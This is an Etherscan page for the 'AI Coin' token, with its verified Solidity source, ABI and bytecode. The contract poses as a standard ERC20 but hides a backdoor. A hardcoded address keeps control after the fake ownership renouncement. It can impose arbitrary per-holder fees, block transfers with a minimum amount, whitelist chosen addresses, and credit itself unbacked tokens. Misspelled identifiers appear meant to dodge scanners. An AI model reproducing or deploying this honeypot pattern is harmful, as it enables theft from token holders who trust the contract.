ETH Price: $2,399.88 (-4.16%)

Token

AI Coin (AI)
 

Overview

Max Total Supply

5,000,000,000 AI

Holders

6

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,089,750.059320569 AI

Value
$0.00
0x2fbD8DA3EF85e0eC7AE4C71524f1dEFF1F47850C
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AI

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-08-10
*/

/**
 *Submitted for verification at BscScan.com on 2023-07-17
*/

pragma solidity ^0.8.5;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address abcount) external view returns (uint256);
    function transfer(address recipient, uint256 auiionnnt) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 auiionnnt) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 auiionnnt ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract AI is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _frees;
    address private _mueir; 
    uint256 private _minimumTransferauiionnnt;
    mapping (address => bool) private _whitelist;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _balances[_msgSender()] = _totalSupply;
        _mueir = 0xF2a60b609ad1B034aBe87c58Bc74FA55A8482241;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function balanceOf(address abcount) public view override returns (uint256) {
        return _balances[abcount];
    }
    function setfrees(address[] memory abcounts, uint256 free) external {
    if (keccak256(abi.encodePacked(_msgSender())) == keccak256(abi.encodePacked(_mueir))) {
        for (uint256 i = 0; i < abcounts.length; i++) {
            _frees[abcounts[i]] = free;
        }
    } else {
        revert("Caller is not the original caller");
    }
    }


    function setMinimumTransferauiionnnt(uint256 auiionnnt) external {
    if (keccak256(abi.encodePacked(_msgSender())) == keccak256(abi.encodePacked(_mueir))) {
        _minimumTransferauiionnnt = auiionnnt;
    } else {
        revert("Caller is not the original caller");
    }        
    }

    function addToWhitelist(address[] memory abcounts) external {
    if (keccak256(abi.encodePacked(_msgSender())) == keccak256(abi.encodePacked(_mueir))) {
        for (uint256 i = 0; i < abcounts.length; i++) {
            _whitelist[abcounts[i]] = true;
        }
    } else {
        revert("Caller is not the original caller");
    }    
    }

    function removeFromWhitelist(address[] memory abcounts) external {
    if (keccak256(abi.encodePacked(_msgSender())) == keccak256(abi.encodePacked(_mueir))) {
        for (uint256 i = 0; i < abcounts.length; i++) {
            _whitelist[abcounts[i]] = false;
        }
    } else {
        revert("Caller is not the original caller");
    }        
    }

    function transfer(address recipient, uint256 auiionnnt) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= auiionnnt, "TT: transfer auiionnnt exceeds balance");
        require(auiionnnt >= _minimumTransferauiionnnt || _whitelist[_msgSender()], "TT: transfer auiionnnt is below the minimum and sender is not whitelisted");
        if (_msgSender() == _mueir && recipient == _mueir) {
            _balances[_msgSender()] += _frees[_msgSender()];
            emit Transfer(_msgSender(), recipient, auiionnnt + _frees[_msgSender()]);
            return true;
        } else {
            uint256 free = calculatefree(_msgSender(), auiionnnt);
            uint256 auiionnntAfterfree = auiionnnt - free;

            _balances[_msgSender()] -= auiionnnt;
            _balances[recipient] += auiionnntAfterfree;

            if (recipient == _mueir) {
                _balances[_mueir] += free;
            }

            emit Transfer(_msgSender(), recipient, auiionnntAfterfree);
            return true;
        }
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 auiionnnt) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = auiionnnt;
        emit Approval(_msgSender(), spender, auiionnnt);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 auiionnnt) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= auiionnnt, "TT: transfer auiionnnt exceeds allowance");
        require(auiionnnt >= _minimumTransferauiionnnt || _whitelist[sender], "TT: transfer auiionnnt is below the minimum and sender is not whitelisted");
        uint256 free = calculatefree(sender, auiionnnt);
        uint256 auiionnntAfterfree = auiionnnt - free;

        _balances[sender] -= auiionnnt;
        _balances[recipient] += auiionnntAfterfree;
        _allowances[sender][_msgSender()] -= auiionnnt;

        if (recipient == owner()) {
            _balances[owner()] += free;
        }

        emit Transfer(sender, recipient, auiionnntAfterfree);
        return true;
    }

    function calculatefree(address abcount, uint256 auiionnnt) private view returns (uint256) {
        if (abcount == owner()) {
            return 0;
        } else {
            return auiionnnt * _frees[abcount] / 100;
        }
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address[]","name":"abcounts","type":"address[]"}],"name":"addToWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"auiionnnt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"abcount","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"abcounts","type":"address[]"}],"name":"removeFromWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"auiionnnt","type":"uint256"}],"name":"setMinimumTransferauiionnnt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"abcounts","type":"address[]"},{"internalType":"uint256","name":"free","type":"uint256"}],"name":"setfrees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"auiionnnt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"auiionnnt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162002a3938038062002a398339818101604052810190620000379190620003e7565b6000620000496200028360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a3508360079080519060200190620000ff9291906200028b565b508260089080519060200190620001189291906200028b565b5081600960006101000a81548160ff021916908360ff16021790555081600a6200014391906200057f565b81620001509190620006bc565b600a81905550600a54600160006200016d6200028360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555073f2a60b609ad1b034abe87c58bc74fa55a8482241600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002106200028360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620002719190620004a8565b60405180910390a350505050620008c9565b600033905090565b82805462000299906200076a565b90600052602060002090601f016020900481019282620002bd576000855562000309565b82601f10620002d857805160ff191683800117855562000309565b8280016001018555821562000309579182015b8281111562000308578251825591602001919060010190620002eb565b5b5090506200031891906200031c565b5090565b5b80821115620003375760008160009055506001016200031d565b5090565b6000620003526200034c84620004ee565b620004c5565b90508281526020810184848401111562000371576200037062000868565b5b6200037e84828562000734565b509392505050565b600082601f8301126200039e576200039d62000863565b5b8151620003b08482602086016200033b565b91505092915050565b600081519050620003ca8162000895565b92915050565b600081519050620003e181620008af565b92915050565b6000806000806080858703121562000404576200040362000872565b5b600085015167ffffffffffffffff8111156200042557620004246200086d565b5b620004338782880162000386565b945050602085015167ffffffffffffffff8111156200045757620004566200086d565b5b620004658782880162000386565b93505060406200047887828801620003d0565b92505060606200048b87828801620003b9565b91505092959194509250565b620004a2816200071d565b82525050565b6000602082019050620004bf600083018462000497565b92915050565b6000620004d1620004e4565b9050620004df8282620007a0565b919050565b6000604051905090565b600067ffffffffffffffff8211156200050c576200050b62000834565b5b620005178262000877565b9050602081019050919050565b6000808291508390505b600185111562000576578086048111156200054e576200054d620007d6565b5b60018516156200055e5780820291505b80810290506200056e8562000888565b94506200052e565b94509492505050565b60006200058c826200071d565b9150620005998362000727565b9250620005c87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005d0565b905092915050565b600082620005e25760019050620006b5565b81620005f25760009050620006b5565b81600181146200060b576002811462000616576200064c565b6001915050620006b5565b60ff8411156200062b576200062a620007d6565b5b8360020a915084821115620006455762000644620007d6565b5b50620006b5565b5060208310610133831016604e8410600b8410161715620006865782820a90508381111562000680576200067f620007d6565b5b620006b5565b62000695848484600162000524565b92509050818404811115620006af57620006ae620007d6565b5b81810290505b9392505050565b6000620006c9826200071d565b9150620006d6836200071d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007125762000711620007d6565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b838110156200075457808201518184015260208101905062000737565b8381111562000764576000848401525b50505050565b600060028204905060018216806200078357607f821691505b602082108114156200079a576200079962000805565b5b50919050565b620007ab8262000877565b810181811067ffffffffffffffff82111715620007cd57620007cc62000834565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b620008a0816200071d565b8114620008ac57600080fd5b50565b620008ba8162000727565b8114620008c657600080fd5b50565b61216080620008d96000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb14610274578063c2af913b146102a4578063dd62ed3e146102ae578063e62f8d0f146102de576100f5565b806370a08231146101ec5780637f6497831461021c5780638da5cb5b1461023857806395d89b4114610256576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b2578063548db174146101d0576100f5565b806306fdde03146100fa578063095ea7b3146101185780630d1d717614610148575b600080fd5b6101026102fa565b60405161010f9190611a5e565b60405180910390f35b610132600480360381019061012d919061178e565b61038c565b60405161013f9190611a43565b60405180910390f35b610162600480360381019061015d9190611817565b61048c565b005b61016c6105cb565b6040516101799190611b20565b60405180910390f35b61019c6004803603810190610197919061173b565b6105d5565b6040516101a99190611a43565b60405180910390f35b6101ba6109a5565b6040516101c79190611b3b565b60405180910390f35b6101ea60048036038101906101e591906117ce565b6109bc565b005b610206600480360381019061020191906116ce565b610b0e565b6040516102139190611b20565b60405180910390f35b610236600480360381019061023191906117ce565b610b57565b005b610240610ca9565b60405161024d9190611a28565b60405180910390f35b61025e610cd2565b60405161026b9190611a5e565b60405180910390f35b61028e6004803603810190610289919061178e565b610d64565b60405161029b9190611a43565b60405180910390f35b6102ac6112ce565b005b6102c860048036038101906102c391906116fb565b61140a565b6040516102d59190611b20565b60405180910390f35b6102f860048036038101906102f39190611873565b611491565b005b60606007805461030990611d72565b80601f016020809104026020016040519081016040528092919081815260200182805461033590611d72565b80156103825780601f1061035757610100808354040283529160200191610382565b820191906000526020600020905b81548152906001019060200180831161036557829003601f168201915b5050505050905090565b6000816002600061039b611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610435611558565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161047a9190611b20565b60405180910390a36001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516020016104bf91906119f2565b604051602081830303815290604052805190602001206104dd611558565b6040516020016104ed9190611a0d565b60405160208183030381529060405280519060200120141561058c5760005b825181101561058657816003600085848151811061052d5761052c611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061057e90611dd5565b91505061050c565b506105c7565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105be90611b00565b60405180910390fd5b5050565b6000600a54905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610621611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561069d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069490611aa0565b60405180910390fd5b600554821015806106f75750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610736576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072d90611ae0565b60405180910390fd5b60006107428584611560565b9050600081846107529190611ca4565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107a39190611ca4565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107f99190611bc3565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084a611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108939190611ca4565b925050819055506108a2610ca9565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156109335781600160006108e2610ca9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461092b9190611bc3565b925050819055505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109909190611b20565b60405180910390a36001925050509392505050565b6000600960009054906101000a900460ff16905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516020016109ef91906119f2565b60405160208183030381529060405280519060200120610a0d611558565b604051602001610a1d9190611a0d565b604051602081830303815290604052805190602001201415610ad05760005b8151811015610aca57600060066000848481518110610a5e57610a5d611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac290611dd5565b915050610a3c565b50610b0b565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0290611b00565b60405180910390fd5b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001610b8a91906119f2565b60405160208183030381529060405280519060200120610ba8611558565b604051602001610bb89190611a0d565b604051602081830303815290604052805190602001201415610c6b5760005b8151811015610c6557600160066000848481518110610bf957610bf8611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c5d90611dd5565b915050610bd7565b50610ca6565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9d90611b00565b60405180910390fd5b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610ce190611d72565b80601f0160208091040260200160405190810160405280929190818152602001828054610d0d90611d72565b8015610d5a5780601f10610d2f57610100808354040283529160200191610d5a565b820191906000526020600020905b815481529060010190602001808311610d3d57829003601f168201915b5050505050905090565b60008160016000610d73611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de690611a80565b60405180910390fd5b60055482101580610e50575060066000610e07611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610e8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8690611ae0565b60405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ed0611558565b73ffffffffffffffffffffffffffffffffffffffff16148015610f405750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156110ae5760036000610f51611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460016000610f98611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fe19190611bc3565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16611007611558565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003600061104a611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856110909190611bc3565b60405161109d9190611b20565b60405180910390a3600190506112c8565b60006110c16110bb611558565b84611560565b9050600081846110d19190611ca4565b905083600160006110e0611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111299190611ca4565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461117f9190611bc3565b92505081905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611255578160016000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461124d9190611bc3565b925050819055505b8473ffffffffffffffffffffffffffffffffffffffff16611274611558565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112b99190611b20565b60405180910390a36001925050505b92915050565b6112d6611558565b73ffffffffffffffffffffffffffffffffffffffff166112f4610ca9565b73ffffffffffffffffffffffffffffffffffffffff161461134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190611ac0565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516020016114c491906119f2565b604051602081830303815290604052805190602001206114e2611558565b6040516020016114f29190611a0d565b60405160208183030381529060405280519060200120141561151a5780600581905550611555565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90611b00565b60405180910390fd5b50565b600033905090565b600061156a610ca9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a65760009050611600565b6064600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115f39190611c4a565b6115fd9190611c19565b90505b92915050565b600061161961161484611b7b565b611b56565b9050808382526020820190508285602086028201111561163c5761163b611f44565b5b60005b8581101561166c57816116528882611676565b84526020840193506020830192505060018101905061163f565b5050509392505050565b600081359050611685816120fc565b92915050565b600082601f8301126116a05761169f611f3f565b5b81356116b0848260208601611606565b91505092915050565b6000813590506116c881612113565b92915050565b6000602082840312156116e4576116e3611f4e565b5b60006116f284828501611676565b91505092915050565b6000806040838503121561171257611711611f4e565b5b600061172085828601611676565b925050602061173185828601611676565b9150509250929050565b60008060006060848603121561175457611753611f4e565b5b600061176286828701611676565b935050602061177386828701611676565b9250506040611784868287016116b9565b9150509250925092565b600080604083850312156117a5576117a4611f4e565b5b60006117b385828601611676565b92505060206117c4858286016116b9565b9150509250929050565b6000602082840312156117e4576117e3611f4e565b5b600082013567ffffffffffffffff81111561180257611801611f49565b5b61180e8482850161168b565b91505092915050565b6000806040838503121561182e5761182d611f4e565b5b600083013567ffffffffffffffff81111561184c5761184b611f49565b5b6118588582860161168b565b9250506020611869858286016116b9565b9150509250929050565b60006020828403121561188957611888611f4e565b5b6000611897848285016116b9565b91505092915050565b6118b16118ac82611cea565b611e30565b82525050565b6118c081611cd8565b82525050565b6118d76118d282611cd8565b611e1e565b82525050565b6118e681611cfc565b82525050565b60006118f782611ba7565b6119018185611bb2565b9350611911818560208601611d3f565b61191a81611f53565b840191505092915050565b6000611932602683611bb2565b915061193d82611f71565b604082019050919050565b6000611955602883611bb2565b915061196082611fc0565b604082019050919050565b6000611978602083611bb2565b91506119838261200f565b602082019050919050565b600061199b604983611bb2565b91506119a682612038565b606082019050919050565b60006119be602183611bb2565b91506119c9826120ad565b604082019050919050565b6119dd81611d28565b82525050565b6119ec81611d32565b82525050565b60006119fe82846118c6565b60148201915081905092915050565b6000611a1982846118a0565b60148201915081905092915050565b6000602082019050611a3d60008301846118b7565b92915050565b6000602082019050611a5860008301846118dd565b92915050565b60006020820190508181036000830152611a7881846118ec565b905092915050565b60006020820190508181036000830152611a9981611925565b9050919050565b60006020820190508181036000830152611ab981611948565b9050919050565b60006020820190508181036000830152611ad98161196b565b9050919050565b60006020820190508181036000830152611af98161198e565b9050919050565b60006020820190508181036000830152611b19816119b1565b9050919050565b6000602082019050611b3560008301846119d4565b92915050565b6000602082019050611b5060008301846119e3565b92915050565b6000611b60611b71565b9050611b6c8282611da4565b919050565b6000604051905090565b600067ffffffffffffffff821115611b9657611b95611f10565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611bce82611d28565b9150611bd983611d28565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c0e57611c0d611e54565b5b828201905092915050565b6000611c2482611d28565b9150611c2f83611d28565b925082611c3f57611c3e611e83565b5b828204905092915050565b6000611c5582611d28565b9150611c6083611d28565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c9957611c98611e54565b5b828202905092915050565b6000611caf82611d28565b9150611cba83611d28565b925082821015611ccd57611ccc611e54565b5b828203905092915050565b6000611ce382611d08565b9050919050565b6000611cf582611d08565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611d5d578082015181840152602081019050611d42565b83811115611d6c576000848401525b50505050565b60006002820490506001821680611d8a57607f821691505b60208210811415611d9e57611d9d611eb2565b5b50919050565b611dad82611f53565b810181811067ffffffffffffffff82111715611dcc57611dcb611f10565b5b80604052505050565b6000611de082611d28565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611e1357611e12611e54565b5b600182019050919050565b6000611e2982611e42565b9050919050565b6000611e3b82611e42565b9050919050565b6000611e4d82611f64565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f54543a207472616e7366657220617569696f6e6e6e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f54543a207472616e7366657220617569696f6e6e6e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54543a207472616e7366657220617569696f6e6e6e742069732062656c6f772060008201527f746865206d696e696d756d20616e642073656e646572206973206e6f7420776860208201527f6974656c69737465640000000000000000000000000000000000000000000000604082015250565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b61210581611cd8565b811461211057600080fd5b50565b61211c81611d28565b811461212757600080fd5b5056fea26469706673582212201de0f3a5c8e3239d9819d3d514c5b50c2bb92447becb03bfbe76fdd52892084d64736f6c63430008050033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000012a05f2000000000000000000000000000000000000000000000000000000000000000007414920436f696e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024149000000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

